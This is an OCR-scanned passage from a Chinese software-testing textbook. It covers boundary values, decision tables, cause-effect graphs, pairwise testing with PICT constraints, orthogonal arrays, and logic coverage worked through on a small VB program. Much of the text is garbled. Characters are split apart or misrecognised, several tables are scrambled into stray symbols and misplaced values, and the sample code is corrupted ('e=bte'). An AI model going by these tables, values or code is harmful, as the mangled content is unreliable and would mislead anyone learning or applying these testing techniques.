冒号 (: ) 58 反 斜 杠 (/) 92 
分 号 (;) 59 右 中 括号 ] 93 
冯 60 单 引号 (“) 96 
= 61 a 97 
> 62 b 98 
2 63 y 121 
@ 64 z 122 


在 文本 输入 或 者 文本 转换 的 测试 过 程 中 ,需要 非常 清晰 地 了 解 ASCII 码 的 一 些 基 本 对 应 
关系 ,例如 ,小 写字 母 a 和 大 写字 母 A 在 表 中 的 对 应 是 不 同 的 ,而 0 一 9 的 边界 字符 则 为 “/”、 
“: ”这些 也 必须 被 考虑 到 数据 区 域 划分 的 过 程 中 ,从 而 根据 这 些 定义 等 价 有 效 类 来 设计 测试 
用 例 。 

3. 其 他 边界 值 检验 

如 默认 值 . 空 值 . 空 格 、 未 输入 值 . 零 .无 效 数据 ,不 正确 数据 和 干扰 (垃圾 ) 数 据 等 。 


3.3 基于 组 合 及 其 优化 的 方法 


等 价 分 类 法 和 边界 分 析 法 用 于 单 因素 、 单 变量 的 数据 分 析 , 但 多 因素 或 多 变量 的 输入 情况 
就 不 一 样 ,这 些 因素 之 间 相互 地 组 合 。 虽 然 各 种 输入 条 件 可 能 出 错 的 情况 已 经 被 考虑 到 了 ,但 
多 个 输入 情况 组 合 起 来 可 能 出 错 的 情况 却 被 忽视 了 。 检 验 各 种 输入 条 件 的 组 合并 非 一 件 很 容 
易 的 事情 ,因为 即使 将 所 有 的 输入 条 件 划 分 成 等 价 类 ,它们 之 间 的 组 合 情 况 也 相当 多 ,因此 , 需 
要 考虑 采用 一 种 适合 于 多 种 条 件 的 组 合 , 相 应 地 产生 多 个 动作 (结果 ) 的 方法 来 进行 测试 用 例 
的 设计 ,这 就 需要 组 合 分 析 。 

组 合 分 析 是 一 种 基于 每 对 参数 组 合 的 测试 技术 .主要 考虑 参数 之 间 的 影响 是 主要 的 错误 
来 源 和 大 多 数 的 错误 起 源 于 简单 的 参数 组 合 。 优 点 是 低 成 本 实现 、 低 成 本 维护 、 易 于 自动 化 、 
易于 用 较 少 的 测试 案例 发 现 更 多 的 错误 和 用 户 可 以 自 定义 限制 ; 缺点 是 经 常 需要 专家 领域 知 
识 ,不 能 测试 所 有 可 能 的 组 合 和 不 能 测试 复杂 的 交互 。 


3.3.1 判定 表 方法 


对 于 多 因素 输入 和 输出 ,如 果 关 系 简单 ,根据 某 一 个 输入 组 合 就 能 直接 判断 输出 结果 ,而 
且 每 个 输入 条 件 或 输出 结果 都 可 以 用 ”成 立 ? 或 “不 成 立 ? 来 表示 , 即 输入 条 件 和 输出 条 件 只 有 


1 和 0 两 个 取 值 ,这 时 就 采用 判定 表 方 法 来 设计 组 合 (测试 用 例 ) 。 判 定 表 方 法 是 借助 表格 方 
式 完成 对 输入 条 件 的 组 合 设计 ,以 达到 完全 组 合 覆盖 的 测试 效果 。 一 个 判定 表 由 “条 件 和 活动 
(条 件 作为 输入 、 活 动作 为 输出 )” 两 部 分 组 成 ,也 就 是 列 出 了 一 个 测试 活动 执行 所 需 的 条 件 组 
合 , 所 有 可 能 的 条 件 组 合 定义 了 一 系列 的 选择 ,而 测试 活动 需要 考虑 每 一 个 选择 。 例 如 ,打印 
机 是 否 能 打印 出 来 正确 的 内 容 , 有 多 个 因素 影响 ,包括 驱动 程序 纸张、 墨 粉 等 。 判 定 表 方法 就 
是 对 多 个 条 件 的 组 合 进行 分 析 , 从 而 设计 测试 用 例 来 覆盖 各 种 组 合 。 判 定 表 是 从 输入 条 件 的 
完全 组 合 来 满足 测试 的 覆盖 率 要 求 , 具 有 很 严格 的 逻辑 性 ,所 以 基于 判定 表 的 测试 用 例 设计 方 
法 是 最 严格 的 组 合 设计 方法 之 一 ,其 测试 用 例 具有 良好 的 完整 性 。 

在 了 解 如 何 制定 判定 表 之 前 , 先 要 了 解 5 个 概念 一 一 条 件 桩 动作 桩 、 条 件 项 ,动作 项 和 规则 。 

(1) 条 件 桩 : 列 出 问题 的 所 有 条 件 , 如 上 述 三 个 条 件 一 一 驱动 程序 .纸张 . 墨 粉 等 。 

(2) 动作 桩 : 列 出 可 能 针对 问题 所 采取 的 操作 ,如 打印 正确 内 容 、 打 印 错误 内 容 \ 不 打印 等 。 

(3) 条 件 项 : 针对 所 列 条 件 的 具体 赋值 , 即 每 个 条 件 可 以 取 真 值 和 假 值 。 

(4) 动作 项 : 列 出 在 条 件 项 (各 种 取 值 ) 组 合 情 况 下 应 该 采取 的 动作 。 

(5) 规则 : 任何 一 个 条 件 组 合 的 特定 取 值 及 其 相应 要 执行 的 操作 。 在 判定 表 中 贯穿 条 件 
项 和 动作 项 的 一 列 就 是 一 条 规则 。 

判定 表 制 定 一 般 经 过 下 面 4 个 步骤 。 

(1) 列 出 所 有 的 条 件 桩 和 动作 桩 ; 

(2) 填 人 条 件 项 ; 

(3) 填 人 动作 项 ,制定 初始 判定 表 ; 

(4) 简化 、 合 并 相似 规则 或 者 相同 动作 。 

仍 以 上 述 * 打 印 机 打印 文件 ?为 例子 来 说 明 如 何 制定 判定 表 。 首 先 列 出 所 有 的 条 件 柱 和 动 
作 桩 ,为 了 简化 问题 ,不 考虑 中 途 断 电 \ 卡 纸 等 因素 的 影响 ,那么 条 件 桩 为 ， 

(1) 驱动 程序 是 否 正确 ? 

(2) 是 否 有 纸张 ? 

(3) 是 否 有 墨 粉 ? 

而 动作 桩 有 两 种 : 打印 内 容 和 不 同 的 错误 提示 。 而 且 假定 : 优先 警告 缺 纸 ,然后 警告 没 
有 墨 粉 , 最 后 警告 驱动 程序 不 对 。 然 后 输入 条 件 项 , 即 上 述 每 个 条 件 的 值 分 别 取 “是 (Y)” 和 
“ 否 (N)”, 可 以 简化 表示 为 1 和 0。 根 据 条 件 项 的 组 合 ,容易 确定 其 活动 ,如 表 3-5 所 示 。 如 果 
结果 一 样 , 某 些 因素 取 1 或 0 没有 影响 , 即 以 “一 ”表示 ,可 以 合并 这 两 项 ,最 终 优化 判定 表 如 
表 3-6 所 示 。 根 据 表 3-6, 就 可 以 设计 测试 用 例 , 每 一 列 代 表 一 条 测试 用 例 。 


表 3-5 初始 化 的 判定 表 


序 号 电 2 3 4 5 6 7 8 
驱动 程序 是 否 正确 0 1 1 0 0 1 0 
条 件 | 是 否 有 纸张 1 1 0 1 0 1 0 0 
是 否 有 墨 粉 1 1 了 0 1 0 0 0 
打印 内 容 1 0 0 0 0 0 0 0 
动作 提示 驱动 程序 不 对 0 1 0 0 0 0 0 0 
提示 没有 纸张 0 0 0 1 0 1 
提示 没有 墨 粉 0 0 0 1 0 1 0 0 


序 号 


表 3-6 优化 的 判定 表 
4/6 3/7/8 


条 件 


驱动 程序 是 否 正确 


是 否 有 纸张 


是 否 有 墨 粉 


打印 内 容 


提示 驱动 程序 不 对 


提示 没有 纸张 


提示 没有 墨 粉 


3.3.2 因果 图 ; 


因果 图 法 (Cause-effect Diagram) 借 助 图 形 ,着 重 分 析 输 入 条 件 的 各 种 组 合 ,每 种 组 合 条 
件 就 是 “ 因 ”, 它 必然 有 一 个 输出 的 结果 ,这 就 是 “ 果 ”。 因 果 图 是 一 种 形式 化 的 图 形 语言 ,由 自 
然 语 言 写成 的 规范 转换 而 成 ,这 种 形式 语言 实际 上 是 一 种 使 用 简化 记号 表示 数字 逻辑 图 ,不 仅 
能 发 现 输入 、 输 出 中 的 错误 ,还 能 指出 程序 规范 中 的 不 完全 性 和 二 义 性 。 因 果 图 法 就 是 一 种 利 
用 图 解法 分 析 输 入 的 各 种 组 合 情 况 ,有 时 还 要 依赖 所 生成 的 判定 表 。 

由 因果 图 法 怎样 生成 测试 用 例 呢 ? 如 图 3-2 所 示 ,经 过 以 下 4 个 步 又 。 

(1) 分 析 软 件 规格 说 明 书 中 的 输入 输出 条 件 并 分 析出 等 价 类 ,将 每 个 输入 输出 赋予 一 个 
标志 符 ; 分 析 规 格 说 明 中 的 语义 ,通过 这 些 语 义 来 找 出 相对 应 的 输入 与 输入 之 间 ,输入 与 输出 
之 间 关 系 。 

(2) 将 对 应 的 输入 输出 之 间 ,输入 与 输出 之 间 的 关系 关联 起 来 ,并 将 其 中 不 可 能 的 组 合 情 
况 标注 成 约束 或 者 限制 条 件 ,形成 因果 图 。 


(3) 由 因果 图 转化 成 判定 表 。 


olololcicic-|-|- 


olol-lol-l-loln 
-|ololololc|| 
ol~clolo|l||ocl|l| 


(4) 将 判定 表 的 每 一 列 拿 出 来 作为 依据 ,设计 测试 用 例 。 


输入 输出 数据 


输入 输出 数据 之 间 关系 


不 同 组 合 间 的 关联 、 约 束 
或 现在 条 件 ， 形 成 因果 图 


一 一 一 | 将 因果 图 转换 成 判定 表 


从 判定 表 导 出 测试 用 例 
ht et 


图 3-2 因果 图 法 示例 


例如 , 某 个 软件 规格 说 明 中 包含 以 下 的 要 求 : 第 一 列 字符 必须 是 A 或 B, 第 二 个 字符 必须 
是 一 个 数字 ,在 此 情况 下 进行 文件 的 修改 ; 但 如 果 第 一 列 字符 不 正确 , 则 输出 信息 L; 如 果 第 
二 列 字符 不 是 数字 , 则 给 出 信息 M。 采 用 因果 图 方法 进行 分 析 , 可 根据 表 3-7 获得 图 3-3 的 各 
种 组 合 ,其 中 人 表示 “与 ”V 表示 “或 ”中 表 示 “ 非 ”的 关系 。 


表 3-7 因果 关系 表 
编号 原因 (Cause) 编号 结果 (Effect) 
C1 第 一 列 字符 是 A El 修改 文件 
C2 第 一 列 字符 是 B E2 给 出 信息 工 
OF 第 二 列 字符 是 一 个 数字 E3 给 出 信息 M 
11 中 间 原 因 


根据 图 3-3 可 以 制定 一 张 判 定 表 , 三 个 因素 共有 
8 种 组 合 ,考虑 到 C1( 首 字符 是 A) 成 立时 ,C2( 首 字符 
是 B) 就 不 能 成 立 ,就 变 成 6 种 组 合 ,如 表 3-8 所 示 。 可 
以 根据 判定 表 来 设计 测试 用 例 ,每 一 列 就 代表 一 个 测试 
用 例 , 共 设计 6 个 测试 用 例 。 但 实际 上 ,还 可 以 进一步 
优化 ,由 于 第 二 个 字母 不 是 数字 时 ,第 一 个 字母 不 管 是 图 3-3 因果 图 表示 
A 或 是 B, 或 A.B 都 不 是 ,结果 都 一 样 , 即 E3 成 立 。 所 
以 表 3-8 可 进一步 优化 为 4 种 组 合 , 即 4 个 测试 用 例 , 如 表 3-9 所 示 。 


表 3-8 上 述 例子 的 判定 表 


序号 1 2 3 4 5 6 
Cl 1 0 0 T 0 0 
原因 C2 0 1 0 0 1 0 
C3 1 1 1 0 0 0 
El 1 1 0 0 0 0 
结果 E2 0 0 1 0 0 0 
E3 0 0 0 1 1 | 
表 3-9 优化 后 的 判定 表 
序号 2 3 4/5/6 
人 1 0 0 一 
原因 C2 0 1 0 一 
3 1 1 ¥ 0 
El 1 1 0 0 
结果 E2 0 0 1 0 
E3 0 0 0 ll 
用 例 首 字符 为 A, 第 2| 首 字符 为 B, 第 2 个 | 首 字 符 为 x, 第 2 个 | 首 字符 为 A 或 B 或 x， 
个 字符 为 数字 字符 为 数字 字符 为 数字 第 2 个 字符 不 是 数字 


3.3.3 Pair-wise 方法 


在 实际 的 软件 项 目 中 ,作为 输入 条 件 的 原因 非常 多 ,每 个 条 件 不 只 有 “是 ”和 “ 否 ” 两 个 值 ， 
而 是 有 多 个 取 值 。 这 时 决策 表 已 无 能 为 力 , 需 要 借助 其 他 方法 实现 。 如 果 输 入 条 件 多 ,而 每 个 
条 件 又 有 多 个 取 值 ,那么 这 个 组 合 数 就 是 一 个 非常 大 的 数字 ,如 果 要 执行 覆盖 全 部 组 合 测试 ， 
其 测试 工作 量 也 非常 大 ,但 测试 的 时 间 和 人 力 资源 是 有 限 的 ,如 果 不 优化 组 合 ,测试 任务 可 能 
就 完成 不 了 。 为 了 有 效 地 合理 地 减少 输入 条 件 的 组 合 数 , 极 大 地 降低 工作 量 ,可 以 利 


Pairwise 方 法 、 正 交 实 验 设计 方法 等 来 简化 问题 ,大 大 减少 组 合 数 。 

Pair-wise 方 法 ,也 称 为 “成 对 组 合 测试 "“ 两 两 组 合 测试 ”, 即 将 众多 因素 的 值 两 两 组 合 起 
来 而 大 大 减少 测试 用 例 组 合 。 这 种 方法 是 由 Mandl 于 1985 年 在 测试 Ada 编译 程序 时 提出 
的 。 后 来 一 些 研究 显示 ,通过 应 用 成 对 覆盖 测试 技术 ,其 模块 覆盖 率 为 93. 5% ,判断 覆盖 率 为 
83% ,满足 测试 的 基本 要 求 ,具有 经 济 有 效 的 特点 。 虽 然 也 可 以 采用 三 三 组 合 、 四 四 组 合 来 达 
到 更 高 的 覆盖 率 ,但 其 组 合 数 也 增长 很 快 ,增加 了 测试 工作 量 。 所 以 ,对 一 般 应 用 系统 ,采用 两 
两 组 合 即 可 基本 满足 测试 的 要 求 。 

下 面 举 一 个 例子 说 明 这 种 方法 的 有 效 性 。 例 如 ,在 线 购物 网 站 有 多 种 条 件 影响 操作 界面 
或 操作 功能 ,主要 有 以 下 几 方 面 。 

(1) 登录 方式 (LOGIN) : 未 登录 、 第 一 次 登录 ,正常 登录 。 

(2) 会 员 状 态 (MEMBERSHIP) : 非 会 员 、 会 员 、VIP 会 员 .雇员 。 

(3) 折扣 (DISCOUNT): 没有 、 假 日 95 折 、 会 员 9 折 、VIP 会 员 8 折 。 

(4) 物流 方式 (SHIP) : 标准 .快递 .加 急 。 

如 果 完 全 组 合 ,其 组 合 数 是 3X4X4X3=144, 但 如 果 采 用 两 两 组 合 ,其 组 合 数 只 有 17 
项 ,如 表 3-10 所 示 , 工 作 量 减 少 了 近 88% 。 组 合 数 越 多 , 则 效果 越 显 著 , 有 一 个 基于 不 同 测试 
环境 的 兼容 性 测试 (6 个 因素 ,每 个 因素 取 值 2 一 8 项 不 等 ), 其 组 合 有 4704 个 ,但 其 两 两 组 合 
数 只 有 61 个 。 如 果 靠 手工 方式 生成 组 合 还 是 比较 麻烦 ,最 好 的 方式 还 是 靠 工 具 自 动 生成 组 
合 ,快捷 有 效 , 不 容易 出 错 。 有 许多 工具 可 以 选择 ,最 方便 的 工具 是 微软 的 PICT( 见 http:// 
www. pairwise. org/tools. asp) ,而 且 还 可 以 为 不 同 条件 之 间 设 定 约束 关系 ,进一步 优化 或 减 
少 组 合 。 对 于 上 述 这 个 例子 ,如 果 需 要 ,可 以 加 入 下 面 这 些 约束 条 件 : 

IF [LOGIN]= "未 登录 " THEN [MEMBERSHIP]=" 非 会 员 "; 

IF [LOGIN]= "第 一 次 登录 " THEN [MEMBERSHIP] 一 > "VIP 会 员 "; 

IF [MEMBERSHIP]= "会 员 " THEN [DISCOUNT]= "会 员 9 折 "， 

IF [MEMBERSHIP]= "VIP 会 员 " THEN [DISCOUNT]= "VIP 会 员 8 折 "， 


表 3-10 ”Pair-wise 方法 的 示例 


序号 登录 方式 会 员 状态 折扣 物流 
未 登录 雇员 假日 95 折 快递 
2 正常 登录 会 员 假日 95 折 加 急 
3 第 一 次 登录 VIP 会 员 没有 标准 
4 未 登录 非 会 员 VIP 会 员 8 折 标准 
5 正常 登录 非 会 员 没有 快递 
6 未 登录 雇员 没有 加 急 
第 一 次 登录 非 会 员 假日 95 折 加 急 
8 第 一 次 登录 VIP 会 员 会 员 9 折 快递 
9 未 登录 会 员 没有 标准 
10 正常 登录 雇员 VIP 会 员 8 折 标准 
11 未 登录 VIP 会 员 VIP 会 员 8 折 加 急 
12 未 登录 雇员 会 员 9 折 标准 
13 正常 登录 VIP 会 员 假日 95 折 标准 
14 正常 登录 非 会 员 会 员 9 折 加 急 
15 第 一 次 登录 雇员 VIP 会 员 8 折 快递 
16 第 一 次 登录 会 员 会 员 9 折 快递 
17 正常 登录 会 员 VIP 会 员 8 折 标准 


3.3.4 正 交 试 验 法 


解决 组 合 数 非常 大 的 问题 ,除了 Pair-wise 方法 之 外 , 另 一 有 效 方法 就 是 正 交 实验 设计 方 
法 (Orthogonal Test Design Method,OTDM)。 正 交 实 验 设计 方法 是 依据 Galois 理论 ,从 大 
量 的 (实验 ) 数 据 ( 测 试 例 ) 中 挑选 适量 的 有 代表 性 的 点 (条 件 组 合 ), 从 而 合理 地 安排 实验 ( 测 
试 ) 的 一 种 科学 实验 设计 方法 。 

1. 确定 影响 功能 的 因子 与 状态 

首先 要 根据 被 测试 软件 的 规格 说 明 书 ,确定 影响 某 个 相对 独立 的 功能 实现 的 操作 对 象 和 
外 部 因素 ,并 把 这 些 影 响 测试 结果 的 条 件 因素 作为 因子 (Factors) ,而 把 各 个 因子 的 取 值 作为 
状态 ,状态 数 称 为 水 平 数 (Levels)。 即 确定 : 

(1) 有 哪些 因素 (变量 )? 其 因子 数 是 多 少 ? 

(2) 每 个 因素 有 哪些 取 值 ? 其 水 平 数 是 多 少 ? 

对 因子 与 状态 的 选择 可 按 其 重要 程度 分 别 加 权 。 可 根据 各 个 因子 及 状态 的 作用 大 小 ,出 
现 频 率 的 大 小 以 及 测试 的 需要 ,确定 权 值 的 大 小 。 

2. 选择 一 个 合适 的 正 交 表 

根据 因子 数 和 最 大 水 平 数 、 最 小 水 平 数 ,选择 一 个 测试 (Run) 次 数 最 少 的 、 最 适合 的 正 交 
表 。 正 交 表 是 正 交 试验 设计 的 基本 工具 , 它 是 通过 运用 数学 理论 在 拉丁 方 和 正 交 拉丁 方 的 基 
础 上 构造 而 成 的 规格 化 表格 ,可 以 参考 http://www. math. hkbu. edu. hk/UniformDesign 或 
http://www. research. att. com/ 一 njas。 一 般 用 工 代表 正 交 表 ,常用 的 有 Ls (27 )、 Le (34)、 
Lie(45) 等 。 例 如 ,Les(27) 中 的 7 为 因子 数 ( 即 正 交 表 的 列 数 ),2 为 因子 的 水 平 数 ,8 为 测试 次 
数 ( 即 正 交 表 的 行 数 )。 现 在 ,还 可 以 使 用 相应 工具 软件 (如 正 交 设计 助手 ID) 来 帮助 决策 和 
应 用 。 

3. 利用 正 交 表 构 造 测试 数据 集 

(1) 把 变量 的 值 映射 到 表 中 ,为 剩 下 的 水 平 数 选取 值 。 

(2) 把 每 一 行 的 各 因素 水 平 的 组 合作 为 一 个 测试 用 例 。 再 增加 一 些 没 有 生成 的 但 可 疑 的 
测试 用 例 。 

在 使 用 正 交 表 来 设计 测试 用 例 时 ,需要 考虑 不 同 的 情况 ,例如 ,因子 数 和 水 平 数 相符 水平 
数 不 相 符 等 。 

Q@ 如 果 因 子 数 不 同 ,可 以 采用 包含 的 方法 。 在 正 交 表 公 式 中 找到 包含 该 情况 的 公式 ,如 
果 有 六 个 符合 条 件 的 公式 ,那么 选取 行 数 最 少 的 公式 。 

@ 如 果 水 平 数 不 等 ,采用 包含 和 组 合 的 方法 选取 合适 的 正 交 表 公 式 。 

4. 示例 

在 企业 信息 系统 中 ,员工 信息 查询 功能 是 常见 的 。 例 如 , 设 有 三 个 独立 的 查询 条 件 , 以 获 
得 特定 员工 的 个 人 信息 。 

(1) 员工 号 (ID)。 


(2) 员工 姓名 (Name) 。 

(3) 员工 邮件 地 址 (Mail Address) 。 

即 有 三 个 因子 ,每 个 因素 可 以 填 , 也 可 以 不 填 ( 空 ), 即 水 平 数 为 2。 根据 因子 数 是 3、 水 平 
数 是 2 和 行 数 取 最 小 值 ,所 以 选择 L, (2 )。 这 样 就 可 以 构造 正 交 表 , 如 图 3-4 左边 所 示 。 根 据 
左边 的 结果 ,很 容易 得 到 所 需 的 测试 用 例 , 如 图 3-4 右边 所 示 , 这 样 基本 测试 用 例 设 计 完 成 。 
如 果 考 虑 一 些 特殊 情况 ,再 增加 一 个 测试 用 例 , 即 三 项 内 容 都 为 空 ,直接 单 击 “查询 ”功能 ,进行 
查询 。 


因子 数 查询 条 件 
下 加 区 7- 姓名 He 
1|1|1 测 | 1 填 填 填 
水 和 
平 | oo mnC 一 一 > 2| 填 | 空 | 空 
数 |3|o|， lo 例 |3| 空 | 填 | 空 
4|o|oj|l 圣 空 | 空 | 得 


3-4 正 交 表 构建 并 转化 为 测试 用 例 


从 中 可 以 看 出 ,如 果 按 每 个 因素 两 个 水 平 数 来 考虑 ,需要 8 个 测试 用 例 , 而 通过 正 交 实 
验 法 来 设计 测试 用 例 只 有 5 个 ,有 效 地 减少 了 测试 用 例 数 ,而 测试 效果 是 非常 接近 的 , 即 
用 最 小 的 测试 用 例 集合 去 获取 最 大 的 测试 覆盖 率 。 对 于 因子 数 、 水 平 数 较 高 的 情况 下 ， 
测试 组 合 数 会 很 多 , 正 交 实验 法 的 优势 更 能 体现 出 来 ,可 以 大 大 降低 测试 用 例 数 ,降低 工 
作 量 。 


3.4 ”基于 过 辑 覆 盖 的 方法 


在 进行 单元 测试 时 ,特别 是 针对 程序 函数 进行 测试 时 ,会 优先 考虑 代码 行 的 覆盖 ,一 般 认 
为 这 是 最 基本 的 ,例如 ,在 衡量 开发 的 单元 测试 工作 时 ,常常 会 设 定 一 个 目标 就 是 代码 行 覆盖 
率 要 超过 80% 或 100%。 要 做 到 代码 行 的 覆盖 ,就 是 要 做 到 代码 结构 的 分 支 覆盖 。 如 果 青 进 
一 步 , 就 是 要 检验 构成 分 支 判 断 的 各 个 条 件 及 其 组 合 , 即 条 件 覆 盖 和 条 件 组 合 覆 盖 。 基 本 路 径 
覆盖 一 般 不 归 为 逻辑 覆盖 ,但 从 它们 密切 的 关系 看 ,可 以 统一 为 逻辑 覆盖 。 逻 辑 覆 盖 不 局 限于 
代码 这 个 层次 ,可 以 扩展 到 业务 流程 图 ,数据 流 图 等 ,让 测试 覆盖 需求 层次 的 业务 逻辑 ,这 可 能 
更 为 重要 。 


3.4.1 判定 覆盖 


判定 覆盖 法 的 基本 思想 是 设计 若干 用 例 , 运 行 被 测 程序 ,使 得 程序 中 每 个 判断 的 取 真 分 支 
和 取 假 分 支 至 少 经 历 一 次 , 即 判断 真 假 值 均 曾 被 满足 。 一 个 判定 往往 代表 着 程序 的 一 个 分 支 ， 
所 以 判定 覆盖 也 被 称 为 分 支 覆盖 。 假 如 给 出 如 下 示例 程序 ,绘制 成 如 图 3-5(a) 所 示 的 程序 流 
程 图 ,为 了 便于 表达 问题 ,程序 流程 图 (a) 可 以 简化 为 流程 图 (b) ,其 中 : 

条 件 M={a>0 and b>0} 

条 件 N={a>1 or c>1} 


< c=c/a M 是 K 
Fp RR 
3 
| c=c+1 N L 4 省 
F 5IF 
1 
c=bte P 


3-5 程序 流程 图 


示例 程序 源码 

Dim a,b As Integer 
Dim c As Double 
If (a> 0 AND b> 0) Then 

c=c/a 
End If 
If (a>1 OR c>1) Then 

c=c+1 
End If 
e=bte 


按照 判定 覆盖 的 基本 思路 ,就 是 要 设计 相应 的 测试 用 例 (为 变量 a、b、c 赋予 特定 的 值 ) ,可 
以 使 判定 M N 分 别 为 真 和 假 ,从 而 达到 判定 覆盖 。 例 如 

(1) 令 a=2,b=1,c=6, 覆 盖 M=. T. 且 N=.T.。 

(2) 令 a= 一 2,b=1,c=6, 覆 盖 M=.F. 且 N=.F.。 

通过 这 两 个 测试 用 例 ,就 达到 判定 覆盖 的 要 求 。 如 果 满 足 了 判定 覆盖 ,也 就 满足 了 语句 覆 
盖 , 但 是 ,如 果 只 测试 了 上 面 两 个 测试 用 例 ,这 时 程序 中 错 将 and 写成 or、 或 错 将 or 写成 and， 
上 述 两 个 测试 用 例 是 无 法 发 现 这 类 问题 的 。 从 逻辑 关系 来 看 ,如 表 3-11 所 示 ,(1) 和 (4) 逻 辑 
关系 判断 的 结果 一 样 ,如 果 是 通过 (1) 和 (4) 组 合 完成 分 支 履 盖 , 不 能 发 现 and 和 or 互 换 的 问 
题 ,AND 关系 需要 采用 (1) 和 (2) 组 合 或 (1) 和 (3) 组 合 , 而 OR 关系 需要 采用 (2) 和 (4) 组 合 或 
(3) 和 (4) 组 合 ,才能 避免 这 样 的 问题 。 


表 3-11 远 辑 运算 的 各 种 组 合 


3.4.2 条 件 覆 盖 


条 件 覆 盖 的 基本 思想 是 设计 若干 测试 用 例 ,执行 被 测 程序 以 后 ,要 使 每 个 判断 中 每 个 条 件 
的 可 能 取 值 至 少 满足 一 次 。 对 于 第 一 个 判定 条 件 M, 可 分 解 成 两 个 条 件 。 

(1) 条 件 a>0: 取 真 (TRUE) 时 为 T1, 取 假 (FALSE) 时 为 Fl。 

(2) 条 件 b>0: 取 真 (TRUE) 时 为 T2, 取 假 (FALSE) 时 为 F2。 

对 于 第 二 个 判定 条 件 N, 则 分 解 成 : 

(1) 条 件 a>1: 取 真 (TRUE) 时 为 T3, 取 假 (FALSE) 时 为 F3。 

(2) 条 件 c>>1: 取 真 (TRUE) 时 为 T4, 取 假 (FALSE) 时 为 F4。 

根据 条 件 覆 盖 的 基本 思想 ,要 分 别 让 各 个 条 件 能 取 “. T. "或 “. F. ”来 设计 相应 的 测试 
例 , 最 优化 的 测试 用 例 ,就 是 3. 4. 1 节 所 讨论 的 ,满足 表 3-11 中 的 (1) 和 (4) 组 合 、 或 者 (2) 和 
(3) 组 合 就 能 做 到 条 件 覆盖 。 如 表 3-12 所 示 , 就 是 选 了 (2) 和 (3) 组 合 ,覆盖 了 4 个 条 件 , 但 没 
有 满足 3. 4. 1 节 的 判定 覆盖 要 求 , 即 判定 条 件 M 和 N 的 “ 真 , 假 ”没有 至 少 被 执行 一 次 ,而 是 
M 取 假 两 次 、N 取 真 两 次 ,也 就 不 能 保证 代码 行 被 覆盖 ,这 也 说 明 条 件 覆盖 的 测试 不 一 定 比 代 
码 行 覆盖 判定 覆盖 好 。 


表 3-12 条 件 覆盖 的 测试 用 例 


测试 用 例 取 值 条 件 具体 取 值 条 件 
输入 , a=2,b= 一 1,c= 一 2 
输出 , a=2,b= 一 1,c= 一 2 
输入 ; a= 一 1,b=2,c=3 
输出 : a= 一 1,b=2,c=6 


T1,F2,T3,F4 a>0,b<0,a>1,c<1 


Fl1,T2,F3,T4 a<0,b>0,a<l,c>1 


在 3.4. 1 节 判 定 覆盖 测试 中 ,如 果 对 AND 覆盖 测试 选择 (1) 和 (2)、 对 “OR” 覆 盖 测 试 选 
择 (2) 和 (4) ,那么 条 件 则 没有 做 到 全 覆盖 ,这 也 说 明达 到 判定 覆盖 的 要 求 ,也 不 能 保证 条 件 覆 
盖 , 即 判定 覆盖 也 不 比 条 件 覆 盖 强 。 为 了 进行 更 充分 的 测试 ,必须 引入 判定 -条 件 覆 盖 。 


3.4.3 判定 -条 件 覆 盖 


判定 -条 件 覆 盖 实 际 上 是 将 前 两 种 方法 结合 起 来 的 一 种 设计 方法 . 它 是 判定 和 条 件 覆 盖 设 
计 方 法 的 交集 , 即 设计 足够 的 测试 用 例 ,使 得 判断 条 件 中 的 所 有 条 件 可 能 取 值 至 少 执行 一 次 ， 
同时 ,所 有 判断 的 可 能 结果 至 少 执行 一 次 。 按 照 这 种 思想 ,在 前 面 的 例子 中 应 该 至 少 保证 判定 条 
件 M 和 AN 取 真 和 取 假 各 一 次 ,同时 要 保证 8 个 条 件 取 值 (T1,F1,T2,F2,…,F4) 也 至 少 被 执行 一 
次 。 根 据 前 面 的 讨论 ,实际 上 ,在 3.4. 1 节 就 已 经 知道 按照 表 3-11 中 的 (1) 和 (4) 的 组 合 能 解决 这 
个 问题 ,按照 表 3-13 可 完成 测试 用 例 的 设计 。 即 使 做 到 判定 条 件 覆盖 ,3. 4. 1 节 中 谈 到 的 问题 : 
AND 和 OR 互 换 问题 是 无 法 被 监测 的 ,所 以 测试 仍 不 够 充分 ,需要 引入 条 件 组 合 覆 盖 。 


表 3-13 判定 -条 件 覆盖 的 测试 用 例 


测试 用 例 取 值 条 件 具体 取 值 条 件 判定 条 件 
输入 : a 一 2,b 一 1,c 一 6 M=.T. 
TU TD TI T a>0,b>0,a>1,c>1 
输出 : a=2,b=1,c=5 N=.T. 
输入 : a= 一 1,b= 一 2,c== 一 3 M=.F. 
F1,F2,F3,F4 委 0,b 委 0,a 委 1,c 委 1 
输出 : a 二 一 1,b= 一 2,c 二 一 5 RS N=.F 


3.4.4 条件 组 合 覆 盖 


条 件 组 合 覆 盖 的 基本 思想 是 设计 足够 的 测试 用 例 , 使 得 判断 中 每 个 条 件 的 所 有 可 能 至 少 
出 现 一 次 ,并 且 每 个 判断 本 身 的 判定 结果 也 至 少 出 现 一 次 。 它 与 条 件 覆 盖 的 差别 是 它 不 是 简 
单 地 要 求 每 个 条 件 都 出 现 * 真 "与 * 假 ?两 种 结果 ,而 是 要 求 让 这 些 结果 的 所 有 可 能 组 合 都 至 少 
出 现 一 次 。 

按照 条 件 组 合 覆 盖 的 基本 思想 ,对 于 前 面 的 例子 ,设计 组 合 条 件 如 表 3-14 所 示 。 


表 3-14 存在 的 8 种 组 合 条 件 示 例 


组 合 编号 覆盖 条 件 取 值 判定 条 件 取 值 判定 -条 件 组 合 
1 TLT2 M=.T. a>0,b>0,M 取 真 
2 T1,F2 M=.F. a>0,b 和 0,M 取 假 
3 ,全 M=.F. a<0,b>0,M 取 假 
4 F1,F2 M=.F. a<0,b 和 0,M 取 假 
5 T3,T4 N=.T. a>1,c>1,N 取 真 
6 T3,F4 N=.T. a>1,c<1,N 取 真 
7 F3,T4 N=.T. A<1l1,c>1,N 取 真 
8 F3,F4 N=.F. A<1,c<1,N 取 假 


针对 8 种 组 合 条 件 , 青 来 设计 能 覆盖 所 有 这 些 组 合 的 测试 用 例 , 如 表 3-15 所 示 。 
表 3-15 条 件 组 合 覆盖 的 测试 用 例 


测试 用 例 覆盖 条 件 覆盖 路 径 覆盖 组 合 
输入 : a=2,b=1,c=6 TT TT4 P1(1-2-4) 1,5 
输出 ; a=2,b=1,c=5 
粒 和 :a=2,b 二 一 c= 一 2 T1,F2,T3,F4 P3(1-3-4) 2,6 
输出 : a 一 2,b 一 一 1,c 一 一 2 
输入 : a= 一 1,b=2,c=3 F1,T2,F3,T4 P3(1-3-4) 3,7 
输出 : a= 一 1,b=2,c=6 
